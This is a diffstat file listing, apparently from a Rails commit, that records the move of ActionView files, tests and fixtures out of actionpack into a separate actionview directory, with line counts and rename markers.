-rw-r--r--actionpack/test/fixtures/public/gzip/foo.zoo.gzbin0 -> 38457 bytes
-rw-r--r--actionpack/test/fixtures/public/images/rails.pngbin1787 -> 0 bytes
-rw-r--r--actionpack/test/fixtures/respond_to/using_defaults_with_all.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+phablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_any_implicit_render.html+tablet.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_inline_syntax_without_block.html+phone.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_plus_none_for_format.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_to/variant_with_implicit_rendering.html+mobile.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/edit.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/new.html.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/using_invalid_resource_with_template.xml.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/using_options_with_template.xml.erb1
-rw-r--r--actionpack/test/fixtures/respond_with/using_resource.js.erb1
-rw-r--r--actionpack/test/fixtures/scope/test/modgreet.erb1
-rw-r--r--actionpack/test/fixtures/test/_label_with_block.erb4
-rw-r--r--actionpack/test/fixtures/公共/bar.html1
-rw-r--r--actionpack/test/fixtures/公共/bar/index.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/bar.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/baz.css3
-rw-r--r--actionpack/test/fixtures/公共/foo/index.html1
-rw-r--r--actionpack/test/fixtures/公共/foo/ã“ã‚“ã«ã¡ã¯.html1
-rw-r--r--actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js4
-rw-r--r--actionpack/test/fixtures/公共/gzip/application-a71b3024f80aea3181c09774ca17e712.js.gzbin0 -> 38457 bytes
-rw-r--r--actionpack/test/fixtures/公共/gzip/foo.zoo4
-rw-r--r--actionpack/test/fixtures/公共/gzip/foo.zoo.gzbin0 -> 38457 bytes
-rw-r--r--actionpack/test/fixtures/公共/index.html1
-rw-r--r--actionpack/test/journey/gtg/builder_test.rb79
-rw-r--r--actionpack/test/journey/gtg/transition_table_test.rb115
-rw-r--r--actionpack/test/journey/nfa/simulator_test.rb98
-rw-r--r--actionpack/test/journey/nfa/transition_table_test.rb72
-rw-r--r--actionpack/test/journey/nodes/symbol_test.rb17
-rw-r--r--actionpack/test/journey/path/pattern_test.rb286
-rw-r--r--actionpack/test/journey/route/definition/parser_test.rb110
-rw-r--r--actionpack/test/journey/route/definition/scanner_test.rb69
-rw-r--r--actionpack/test/journey/route_test.rb106
-rw-r--r--actionpack/test/journey/router/utils_test.rb38
-rw-r--r--actionpack/test/journey/router_test.rb622
-rw-r--r--actionpack/test/journey/routes_test.rb53
-rw-r--r--actionpack/test/lib/controller/fake_models.rb146
-rw-r--r--actionpack/test/routing/helper_test.rb16
-rw-r--r--actionpack/test/template/asset_tag_helper_test.rb723
-rw-r--r--actionpack/test/template/atom_feed_helper_test.rb349
-rw-r--r--actionpack/test/template/benchmark_helper_test.rb24
-rw-r--r--actionpack/test/template/capture_helper_test.rb238
-rw-r--r--actionpack/test/template/compiled_templates_test.rb63
-rw-r--r--actionpack/test/template/date_helper_i18n_test.rb143
-rw-r--r--actionpack/test/template/date_helper_test.rb3067
-rw-r--r--actionpack/test/template/digestor_test.rb170
-rw-r--r--actionpack/test/template/erb_util_test.rb60
-rw-r--r--actionpack/test/template/form_collections_helper_test.rb336
-rw-r--r--actionpack/test/template/form_helper_test.rb2732
-rw-r--r--actionpack/test/template/form_options_helper_test.rb1259
-rw-r--r--actionpack/test/template/form_tag_helper_test.rb642
-rw-r--r--actionpack/test/template/html-scanner/cdata_node_test.rb15
-rw-r--r--actionpack/test/template/html-scanner/document_test.rb148
-rw-r--r--actionpack/test/template/html-scanner/node_test.rb89
-rw-r--r--actionpack/test/template/html-scanner/sanitizer_test.rb315
-rw-r--r--actionpack/test/template/html-scanner/tag_node_test.rb243
-rw-r--r--actionpack/test/template/html-scanner/text_node_test.rb50
-rw-r--r--actionpack/test/template/html-scanner/tokenizer_test.rb131
-rw-r--r--actionpack/test/template/javascript_helper_test.rb104
-rw-r--r--actionpack/test/template/lookup_context_test.rb263
-rw-r--r--actionpack/test/template/number_helper_test.rb399
-rw-r--r--actionpack/test/template/output_buffer_test.rb59
-rw-r--r--actionpack/test/template/output_safety_helper_test.rb28
-rw-r--r--actionpack/test/template/record_tag_helper_test.rb103
-rw-r--r--actionpack/test/template/render_test.rb538
-rw-r--r--actionpack/test/template/resolver_patterns_test.rb31
-rw-r--r--actionpack/test/template/sanitize_helper_test.rb51
-rw-r--r--actionpack/test/template/spec_type_test.rb39
-rw-r--r--actionpack/test/template/streaming_render_test.rb109
-rw-r--r--actionpack/test/template/tag_helper_test.rb130
-rw-r--r--actionpack/test/template/template_error_test.rb13
-rw-r--r--actionpack/test/template/template_test.rb207
-rw-r--r--actionpack/test/template/test_case_test.rb346
-rw-r--r--actionpack/test/template/test_test.rb136
-rw-r--r--actionpack/test/template/testing/fixture_resolver_test.rb18
-rw-r--r--actionpack/test/template/text_helper_test.rb467
-rw-r--r--actionpack/test/template/translation_helper_test.rb138
-rw-r--r--actionpack/test/template/url_helper_test.rb864
-rw-r--r--actionpack/test/ts_isolated.rb15
-rw-r--r--actionview/CHANGELOG.md1
-rw-r--r--actionview/MIT-LICENSE21
-rw-r--r--actionview/README.rdoc39
-rw-r--r--actionview/RUNNING_UNIT_TESTS.rdoc27
-rw-r--r--actionview/Rakefile83
-rw-r--r--actionview/actionview.gemspec31
-rw-r--r--actionview/lib/action_view.rb96
-rw-r--r--actionview/lib/action_view/base.rb205
-rw-r--r--actionview/lib/action_view/buffers.rb50
-rw-r--r--actionview/lib/action_view/context.rb (renamed from actionpack/lib/action_view/context.rb)0
-rw-r--r--actionview/lib/action_view/dependency_tracker.rb141
-rw-r--r--actionview/lib/action_view/digestor.rb122
-rw-r--r--actionview/lib/action_view/flows.rb76
-rw-r--r--actionview/lib/action_view/gem_version.rb15
-rw-r--r--actionview/lib/action_view/helpers.rb64
-rw-r--r--actionview/lib/action_view/helpers/active_model_helper.rb49
-rw-r--r--actionview/lib/action_view/helpers/asset_tag_helper.rb329
-rw-r--r--actionview/lib/action_view/helpers/asset_url_helper.rb366
-rw-r--r--actionview/lib/action_view/helpers/atom_feed_helper.rb203
-rw-r--r--actionview/lib/action_view/helpers/cache_helper.rb200
-rw-r--r--actionview/lib/action_view/helpers/capture_helper.rb207
-rw-r--r--actionview/lib/action_view/helpers/controller_helper.rb (renamed from actionpack/lib/action_view/helpers/controller_helper.rb)0
-rw-r--r--actionview/lib/action_view/helpers/csrf_helper.rb33
-rw-r--r--actionview/lib/action_view/helpers/date_helper.rb1098
-rw-r--r--actionview/lib/action_view/helpers/debug_helper.rb35
-rw-r--r--actionview/lib/action_view/helpers/form_helper.rb1942
-rw-r--r--actionview/lib/action_view/helpers/form_options_helper.rb841
-rw-r--r--actionview/lib/action_view/helpers/form_tag_helper.rb877
-rw-r--r--actionview/lib/action_view/helpers/javascript_helper.rb81
-rw-r--r--actionview/lib/action_view/helpers/number_helper.rb432
-rw-r--r--actionview/lib/action_view/helpers/output_safety_helper.rb38
-rw-r--r--actionview/lib/action_view/helpers/record_tag_helper.rb108
-rw-r--r--actionview/lib/action_view/helpers/rendering_helper.rb98
-rw-r--r--actionview/lib/action_view/helpers/sanitize_helper.rb197
-rw-r--r--actionview/lib/action_view/helpers/tag_helper.rb188
-rw-r--r--actionview/lib/action_view/helpers/tags.rb41
-rw-r--r--actionview/lib/action_view/helpers/tags/base.rb148
-rw-r--r--actionview/lib/action_view/helpers/tags/check_box.rb64
-rw-r--r--actionview/lib/action_view/helpers/tags/checkable.rb16
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_check_boxes.rb57
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_helpers.rb85
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_radio_buttons.rb36
-rw-r--r--actionview/lib/action_view/helpers/tags/collection_select.rb28
-rw-r--r--actionview/lib/action_view/helpers/tags/color_field.rb25
-rw-r--r--actionview/lib/action_view/helpers/tags/date_field.rb13
-rw-r--r--actionview/lib/action_view/helpers/tags/date_select.rb72
-rw-r--r--actionview/lib/action_view/helpers/tags/datetime_field.rb30
-rw-r--r--actionview/lib/action_view/helpers/tags/datetime_local_field.rb19
-rw-r--r--actionview/lib/action_view/helpers/tags/datetime_select.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/email_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/file_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/grouped_collection_select.rb29
-rw-r--r--actionview/lib/action_view/helpers/tags/hidden_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/label.rb89
-rw-r--r--actionview/lib/action_view/helpers/tags/month_field.rb13
-rw-r--r--actionview/lib/action_view/helpers/tags/number_field.rb18
-rw-r--r--actionview/lib/action_view/helpers/tags/password_field.rb12
-rw-r--r--actionview/lib/action_view/helpers/tags/placeholderable.rb34
-rw-r--r--actionview/lib/action_view/helpers/tags/radio_button.rb31
-rw-r--r--actionview/lib/action_view/helpers/tags/range_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/search_field.rb24
-rw-r--r--actionview/lib/action_view/helpers/tags/select.rb41
-rw-r--r--actionview/lib/action_view/helpers/tags/tel_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/text_area.rb22
-rw-r--r--actionview/lib/action_view/helpers/tags/text_field.rb32
-rw-r--r--actionview/lib/action_view/helpers/tags/time_field.rb13
-rw-r--r--actionview/lib/action_view/helpers/tags/time_select.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/time_zone_select.rb20
-rw-r--r--actionview/lib/action_view/helpers/tags/url_field.rb8
-rw-r--r--actionview/lib/action_view/helpers/tags/week_field.rb13
-rw-r--r--actionview/lib/action_view/helpers/text_helper.rb467
-rw-r--r--actionview/lib/action_view/helpers/translation_helper.rb114
-rw-r--r--actionview/lib/action_view/helpers/url_helper.rb620
-rw-r--r--actionview/lib/action_view/layouts.rb426
-rw-r--r--actionview/lib/action_view/locale/en.yml (renamed from actionpack/lib/action_view/locale/en.yml)0
-rw-r--r--actionview/lib/action_view/log_subscriber.rb44
-rw-r--r--actionview/lib/action_view/lookup_context.rb255
-rw-r--r--actionview/lib/action_view/model_naming.rb12
-rw-r--r--actionview/lib/action_view/path_set.rb77
-rw-r--r--actionview/lib/action_view/railtie.rb49
-rw-r--r--actionview/lib/action_view/record_identifier.rb84
-rw-r--r--actionview/lib/action_view/renderer/abstract_renderer.rb49
-rw-r--r--actionview/lib/action_view/renderer/partial_renderer.rb540
-rw-r--r--actionview/lib/action_view/renderer/renderer.rb50
-rw-r--r--actionview/lib/action_view/renderer/streaming_template_renderer.rb103
-rw-r--r--actionview/lib/action_view/renderer/template_renderer.rb101
-rw-r--r--actionview/lib/action_view/rendering.rb146
-rw-r--r--actionview/lib/action_view/routing_url_for.rb134
-rw-r--r--actionview/lib/action_view/tasks/dependencies.rake21
-rw-r--r--actionview/lib/action_view/template.rb336
-rw-r--r--actionview/lib/action_view/template/error.rb141
-rw-r--r--actionview/lib/action_view/template/handlers.rb62
-rw-r--r--actionview/lib/action_view/template/handlers/builder.rb (renamed from actionpack/lib/action_view/template/handlers/builder.rb)0
-rw-r--r--actionview/lib/action_view/template/handlers/erb.rb145
-rw-r--r--actionview/lib/action_view/template/handlers/raw.rb11
-rw-r--r--actionview/lib/action_view/template/html.rb34
-rw-r--r--actionview/lib/action_view/template/resolver.rb349
-rw-r--r--actionview/lib/action_view/template/text.rb34
-rw-r--r--actionview/lib/action_view/template/types.rb57
-rw-r--r--actionview/lib/action_view/test_case.rb278
-rw-r--r--actionview/lib/action_view/testing/resolvers.rb54
-rw-r--r--actionview/lib/action_view/version.rb8
-rw-r--r--actionview/lib/action_view/view_paths.rb111
-rw-r--r--actionview/test/abstract_unit.rb345
-rw-r--r--actionview/test/actionpack/abstract/abstract_controller_test.rb310
-rw-r--r--actionview/test/actionpack/abstract/helper_test.rb127
-rw-r--r--actionview/test/actionpack/abstract/layouts_test.rb384
-rw-r--r--actionview/test/actionpack/abstract/render_test.rb103
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/formatted.html.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me3/formatted.html.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me3/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me3/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me4/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me4/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/abstract_controller/testing/me5/index.erb (renamed from actionpack/test/abstract/views/abstract_controller/testing/me5/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/action_with_ivars.erb (renamed from actionpack/test/abstract/views/action_with_ivars.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/helper_test.erb (renamed from actionpack/test/abstract/views/helper_test.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/index.erb (renamed from actionpack/test/abstract/views/index.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/layouts/abstract_controller/testing/me4.erb (renamed from actionpack/test/abstract/views/layouts/abstract_controller/testing/me4.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/layouts/application.erb (renamed from actionpack/test/abstract/views/layouts/application.erb)0
-rw-r--r--actionview/test/actionpack/abstract/views/naked_render.erb (renamed from actionpack/test/abstract/views/naked_render.erb)0
-rw-r--r--actionview/test/actionpack/controller/capture_test.rb81
-rw-r--r--actionview/test/actionpack/controller/layout_test.rb269
-rw-r--r--actionview/test/actionpack/controller/render_test.rb1344
-rw-r--r--actionview/test/actionpack/controller/view_paths_test.rb174
-rw-r--r--actionview/test/active_record_unit.rb91
-rw-r--r--actionview/test/activerecord/controller_runtime_test.rb93
-rw-r--r--actionview/test/activerecord/debug_helper_test.rb8
-rw-r--r--actionview/test/activerecord/form_helper_activerecord_test.rb92
-rw-r--r--actionview/test/activerecord/polymorphic_routes_test.rb723
-rw-r--r--actionview/test/activerecord/render_partial_with_record_identification_test.rb (renamed from actionpack/test/activerecord/render_partial_with_record_identification_test.rb)0
-rw-r--r--actionview/test/fixtures/_top_level_partial.html.erb (renamed from actionpack/test/fixtures/_top_level_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/_top_level_partial_only.erb1
-rw-r--r--actionview/test/fixtures/actionpack/bad_customers/_bad_customer.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/customers/_customer.html.erb (renamed from actionpack/test/fixtures/customers/_customer.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/fun/games/_form.erb (renamed from actionpack/test/fixtures/fun/games/_form.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/fun/games/hello_world.erb (renamed from actionpack/test/fixtures/fun/games/hello_world.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/good_customers/_good_customer.html.erb (renamed from actionpack/test/fixtures/good_customers/_good_customer.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/hello.html (renamed from actionpack/test/fixtures/hello.html)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/alt/layouts/alt.erb (renamed from actionpack/test/fixtures/layout_tests/alt/layouts/alt.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/controller_name_space/nested.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/controller_name_space/nested.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/item.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/item.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/layout_test.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/layout_test.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/multiple_extensions.html.erb (renamed from actionpack/test/fixtures/layout_tests/layouts/multiple_extensions.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/symlinked/symlinked_layout.erb5
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/layouts/third_party_template_library.mab (renamed from actionpack/test/fixtures/layout_tests/layouts/third_party_template_library.mab)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/views/goodbye.erb (renamed from actionpack/test/fixtures/layout_tests/views/goodbye.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layout_tests/views/hello.erb (renamed from actionpack/test/fixtures/layout_tests/views/hello.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_column.html.erb (renamed from actionpack/test/fixtures/layouts/_column.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_customers.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_partial_and_yield.erb (renamed from actionpack/test/fixtures/layouts/_partial_and_yield.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_yield_only.erb (renamed from actionpack/test/fixtures/layouts/_yield_only.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/_yield_with_params.erb (renamed from actionpack/test/fixtures/layouts/_yield_with_params.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/block_with_layout.erb3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/builder.builder3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/partial_with_layout.erb3
-rw-r--r--actionview/test/fixtures/actionpack/layouts/standard.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/streaming.erb (renamed from actionpack/test/fixtures/layouts/streaming.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/talk_from_action.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/with_html_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/layouts/xhr.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield.erb2
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield_with_render_inline_inside.erb (renamed from actionpack/test/fixtures/layouts/yield_with_render_inline_inside.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/layouts/yield_with_render_partial_inside.erb (renamed from actionpack/test/fixtures/layouts/yield_with_render_partial_inside.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/quiz/questions/_question.html.erb (renamed from actionpack/test/fixtures/quiz/questions/_question.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/shared.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_changing_priority.html.erb (renamed from actionpack/test/fixtures/test/_changing_priority.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_changing_priority.json.erb (renamed from actionpack/test/fixtures/test/_changing_priority.json.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_counter.html.erb (renamed from actionpack/test/fixtures/test/_counter.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer.erb (renamed from actionpack/test/fixtures/test/_customer.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_counter.erb (renamed from actionpack/test/fixtures/test/_customer_counter.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_counter_with_as.erb (renamed from actionpack/test/fixtures/test/_customer_counter_with_as.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_greeting.erb (renamed from actionpack/test/fixtures/test/_customer_greeting.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_iteration.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_iteration_with_as.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_customer_with_var.erb (renamed from actionpack/test/fixtures/test/_customer_with_var.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_directory/_partial_with_locales.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_first_json_partial.json.erb (renamed from actionpack/test/fixtures/test/_first_json_partial.json.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_form.erb (renamed from actionpack/test/fixtures/test/_form.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_hash_greeting.erb (renamed from actionpack/test/fixtures/test/_hash_greeting.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_hash_object.erb (renamed from actionpack/test/fixtures/test/_hash_object.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_hello.builder (renamed from actionpack/test/fixtures/test/_hello.builder)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_json_change_priority.json.erb (renamed from actionpack/test/fixtures/test/_json_change_priority.json.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_labelling_form.erb (renamed from actionpack/test/fixtures/test/_labelling_form.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_layout_for_partial.html.erb (renamed from actionpack/test/fixtures/test/_layout_for_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial.js.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_for_use_in_layout.html.erb (renamed from actionpack/test/fixtures/test/_partial_for_use_in_layout.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_html_erb.html.erb (renamed from actionpack/test/fixtures/test/_partial_html_erb.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_name_local_variable.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_only.erb (renamed from actionpack/test/fixtures/test/_partial_only.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_only_html.html (renamed from actionpack/test/fixtures/test/_partial_only_html.html)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_partial_with_partial.erb (renamed from actionpack/test/fixtures/test/_partial_with_partial.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_person.erb (renamed from actionpack/test/fixtures/test/_person.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_raise_indentation.html.erb (renamed from actionpack/test/fixtures/test/_raise_indentation.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/_second_json_partial.json.erb (renamed from actionpack/test/fixtures/test/_second_json_partial.json.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/action_talk_to_layout.erb (renamed from actionpack/test/fixtures/test/action_talk_to_layout.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/calling_partial_with_layout.html.erb (renamed from actionpack/test/fixtures/test/calling_partial_with_layout.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/capturing.erb (renamed from actionpack/test/fixtures/test/capturing.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/change_priority.html.erb (renamed from actionpack/test/fixtures/test/change_priorty.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for.erb (renamed from actionpack/test/fixtures/test/content_for.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for_concatenated.erb (renamed from actionpack/test/fixtures/test/content_for_concatenated.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/content_for_with_parameter.erb (renamed from actionpack/test/fixtures/test/content_for_with_parameter.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/dot.directory/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_html_erb.html.erb (renamed from actionpack/test/fixtures/test/formatted_html_erb.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.builder1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/formatted_xml_erb.xml.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/greeting.html.erb (renamed from actionpack/test/fixtures/test/greeting.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/greeting.xml.erb (renamed from actionpack/test/fixtures/test/greeting.xml.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello,world.erb (renamed from actionpack/test/fixtures/test/hello,world.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello.builder (renamed from actionpack/test/fixtures/test/hello.builder)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello/hello.erb (renamed from actionpack/test/fixtures/happy_path/render_action/hello_world.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world.erb (renamed from actionpack/test/fixtures/respond_with/using_resource_with_block.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_container.builder (renamed from actionpack/test/fixtures/test/hello_world_container.builder)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_from_rxml.builder (renamed from actionpack/test/fixtures/test/hello_world_from_rxml.builder)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_with_layout_false.erb (renamed from actionpack/test/fixtures/test/hello_world_with_layout_false.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_world_with_partial.html.erb2
-rw-r--r--actionview/test/fixtures/actionpack/test/hello_xml_world.builder11
-rw-r--r--actionview/test/fixtures/actionpack/test/html_template.html.erb (renamed from actionpack/test/fixtures/test/html_template.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/hyphen-ated.erb (renamed from actionpack/test/fixtures/test/hyphen-ated.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/implicit_content_type.atom.builder2
-rw-r--r--actionview/test/fixtures/actionpack/test/list.erb (renamed from actionpack/test/fixtures/test/list.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/non_erb_block_content_for.builder (renamed from actionpack/test/fixtures/test/non_erb_block_content_for.builder)0
-rw-r--r--actionview/test/fixtures/actionpack/test/potential_conflicts.erb (renamed from actionpack/test/fixtures/test/potential_conflicts.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/proper_block_detection.erb (renamed from actionpack/test/fixtures/test/proper_block_detection.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_from_template.html.erb (renamed from actionpack/test/fixtures/test/render_file_from_template.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_ivar.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_locals.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_file_with_locals_and_default.erb (renamed from actionpack/test/fixtures/test/render_file_with_locals_and_default.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.da.html.erb (renamed from actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.da.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_html_template_from_xhr_request.html.erb (renamed from actionpack/test/fixtures/test/render_implicit_html_template_from_xhr_request.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_implicit_js_template_without_layout.js.erb (renamed from actionpack/test/fixtures/test/render_implicit_js_template_without_layout.js.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_partial_inside_directory.html.erb1
-rw-r--r--actionview/test/fixtures/actionpack/test/render_to_string_test.erb (renamed from actionpack/test/fixtures/test/render_to_string_test.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/render_two_partials.html.erb (renamed from actionpack/test/fixtures/test/render_two_partials.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/using_layout_around_block.html.erb (renamed from actionpack/test/fixtures/test/using_layout_around_block.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/with_html_partial.html.erb (renamed from actionpack/test/fixtures/test/with_html_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/with_partial.html.erb (renamed from actionpack/test/fixtures/test/with_partial.html.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/with_partial.text.erb (renamed from actionpack/test/fixtures/test/with_partial.text.erb)0
-rw-r--r--actionview/test/fixtures/actionpack/test/with_xml_template.html.erb (renamed from actionpack/test/fixtures/test/with_xml_template.html.erb)0
-rw-r--r--actionview/test/fixtures/comments/empty.de.html.erb (renamed from actionpack/test/fixtures/comments/empty.de.html.erb)0
-rw-r--r--actionview/test/fixtures/comments/empty.html.builder (renamed from actionpack/test/fixtures/comments/empty.html.builder)0
-rw-r--r--actionview/test/fixtures/comments/empty.html.erb (renamed from actionpack/test/fixtures/comments/empty.html.erb)0
-rw-r--r--actionview/test/fixtures/comments/empty.xml.erb (renamed from actionpack/test/fixtures/comments/empty.xml.erb)0
-rw-r--r--actionview/test/fixtures/companies.yml (renamed from actionpack/test/fixtures/companies.yml)0
-rw-r--r--actionview/test/fixtures/company.rb9
-rw-r--r--actionview/test/fixtures/custom_pattern/another.html.erb (renamed from actionpack/test/fixtures/custom_pattern/another.html.erb)0
-rw-r--r--actionview/test/fixtures/custom_pattern/html/another.erb (renamed from actionpack/test/fixtures/custom_pattern/html/another.erb)0
-rw-r--r--actionview/test/fixtures/custom_pattern/html/path.erb (renamed from actionpack/test/fixtures/custom_pattern/html/path.erb)0
-rw-r--r--actionview/test/fixtures/customers/_customer.html.erb1
-rw-r--r--actionview/test/fixtures/customers/_customer.xml.erb1
-rw-r--r--actionview/test/fixtures/db_definitions/sqlite.sql (renamed from actionpack/test/fixtures/db_definitions/sqlite.sql)0
-rw-r--r--actionview/test/fixtures/developer.rb6
-rw-r--r--actionview/test/fixtures/developers.yml (renamed from actionpack/test/fixtures/developers.yml)0
-rw-r--r--actionview/test/fixtures/developers/_developer.erb (renamed from actionpack/test/fixtures/developers/_developer.erb)0
